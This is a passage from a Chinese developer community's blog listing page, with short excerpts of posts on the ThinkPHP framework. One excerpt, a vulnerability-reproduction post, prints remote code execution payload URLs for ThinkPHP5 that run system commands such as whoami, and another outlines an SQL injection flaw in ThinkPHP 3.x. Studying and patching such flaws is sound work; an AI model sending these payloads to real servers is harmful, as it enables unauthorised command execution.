插件应用
主题模板
讨论社区
问答
博客
学习文档
框架开发文档
模板开发文档
接口开发文档
教学视频文档
模板引擎文档
下载安装
在线演示
登录
/
注册
个人中心
我的订单
退出登录
博文列表
排序:
最新更新
热门
推荐
ThinkPHP关联删除
ThinkPHP关联删除操作: 关联删除,即表示删除A表中某一条数据时,B表中的关联数据也会删除; 举个例子: 一个标题可以包含多篇文章,而一篇文章只能对应一个标题(即标题与文章的对应关系,是1对多的关系),用户需要查看文章的时候,肯定是根据标题栏目来查询到相应的文章,也就是说PHP语言相关的知识栏目,不会出现Go语言的内容,这就是关联的关系。由于使用ThinkPHP框架开发,所以在设计表结构的时候,不需要着重设计表的主键、外键关联等操作,而是直接通过框架绑定主键、外键即可完成关联删除操作。 下面我们介绍
2023-03-29 23:03:03
阅读数
394
评论数
0
thinkphp#数据模型model返回的结果集取其数据数组
用model获取数据返回的是结果集对象,有时候获取到结果集手动用cllection($ret)->toArray();也不管用。偶然发现下面方法可以更便捷只获取结果集的所查询的数据。 方法一:找到TP5框架中的database.php文件,该文件中找到 resultset_type 该项,将后面的 array 改成 \think\Collection 【注意大小写】 // 数据集返回类型'resultset_type'=> 'array', 改为 // 数据集返回类型'resultset_type'=>
2023-03-29 23:03:03
阅读数
1242
评论数
0
Nginx配置ThinkPHP6
server {listen 80;server_name example.com;root /srv/example.com/public;add_header X-Frame-Options "SAMEORIGIN";add_header X-XSS-Protection "1; mode=block";add_header X-Content-Type-Options "nosniff";index index.php;charset utf-8;location / {try_files $uri
2023-03-29 23:03:03
阅读数
490
评论数
0
thinkPHP5前后端分离
thinkPHP5前后端分离 环境配置并运行起thinkphp安装小皮面板安装phpstorm配置thinkPHP5将文件放入适当位置修改Nginx配置修改配置和伪静态跨域前端 环境 thinkPHP5.0.24phpstudy(小皮面板)phpstorm安装包 链接: https://pan.baidu.com/s/1MufwzyMJj-ZMZs89vCiBVA 提取码: 2580 配置并运行起thinkphp 安装小皮面板 无脑下一步,安装路径没有中文和空格就行 安装phpstorm 无脑下一步,安
2023-03-29 23:03:03
阅读数
474
评论数
0
ThinkPhp3.2无法加载控制器
APP_USE_NAMESPACE(是否使用命名空间):当设置为false时,如果定义控制器时使用了命名空间,则会导致无法加载控制器,此时将参数设为true即可。可在ThinkPHP/Common/Conf/convention.php中设置。ACTION_BIND_CLASS(是否绑定方法和类):当设置为false时,Controller文件夹的结构应该为Controller/View名Controller.class.php,方法在类中逐个写;但设置为ture时,则Controller文件夹的结构应该
2023-03-29 23:03:03
阅读数
290
评论数
0
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞复现
复现环境 thinkphp5.0.22 推荐使用vulhub快速搭建漏洞环境 漏洞payload: 1:/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 2:index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 效果如下 写入文件的payload: /i
2023-03-29 23:03:03
阅读数
353
评论数
0
ThinkPHP6.1 Filesystem 替换方案
ThinkPHP6.1 Filesystem 替换方案 在ThinkPHP6.1 发布以后,移除·Filesystem类库,文件上传无法使用,但是think\File 依旧有进行保留,可以使用think\File 代替进行文件操作,文件上传代码如下
2023-03-29 23:03:03
阅读数
449
评论数
0
ThinkPHP5 单独运行某个文件
在使用ThinkPHP5(以下简称tp5)编写项目的时候,我们时常会遇到需要单独运行某个文件的情况,例如:使用tp5的自动生成、测试某个扩展类等等。此时因为tp5是单入口设计模式的,需要编写控制器和类文件才能进行访问,对我们来说不是很便利,所以tp5也提供了相应的解决方法 /*** 模块自动生成*/$build = include APP_PATH.'build.php';//在能直接访问的方法中,引入需要执行的文件\think\Build::run($build);//执行文件return '成功';
2023-03-29 23:03:03
阅读数
247
评论数
0
Thinkphp command使用
第一步,配置command.php文件,目录在application/command.php
2023-03-29 23:03:03
阅读数
321
评论数
0
ThinkPHP 3.1、3.2一个通用的漏洞分析
Author:m3d1t10n 前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。 0x00官方补丁(DB.class.php parseWhereItem($key,$val)) 注意红色框框起来的部分 0x01分析preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入 preg_match('/BETWEEN/i'
2023-03-29 23:03:03
阅读数
869
评论数
0
共 6126 条
上一页
1
2
...
8
9
10
11
12
13
14
...
612
613
下一页
发帖
加入PHP技术QQ群
一个专属于OneKeyAdmin的技术交流平台,记录OneKeyAdmin开发者的成长与进步。
主题帖
6221
回帖数
145
登陆 /
注册
文章
-
评论
-
粉丝
-
热门帖子
1 WordPress Rest API 入门详解
3195
2 Yandex企业邮箱注册
3158
3 Thinkphp5.0 获取新增数据的ID
2910
4 thinkphp5 解决跨域问题
2487
5 Thinkphp6 的 where 查询条件 and 和 or 的 操作
2201
6 PHP的exec()函数用法详解
2120
7 Vue3官网使用及简介
1975
8 thinkphp6配置连接微软的sqlserver数据库
1922
9 Thinkphp如何查看当前是哪个版本?查看thinkphp当前版本号的三种方法
1873
10 thinkphp5使用数据库表锁
1831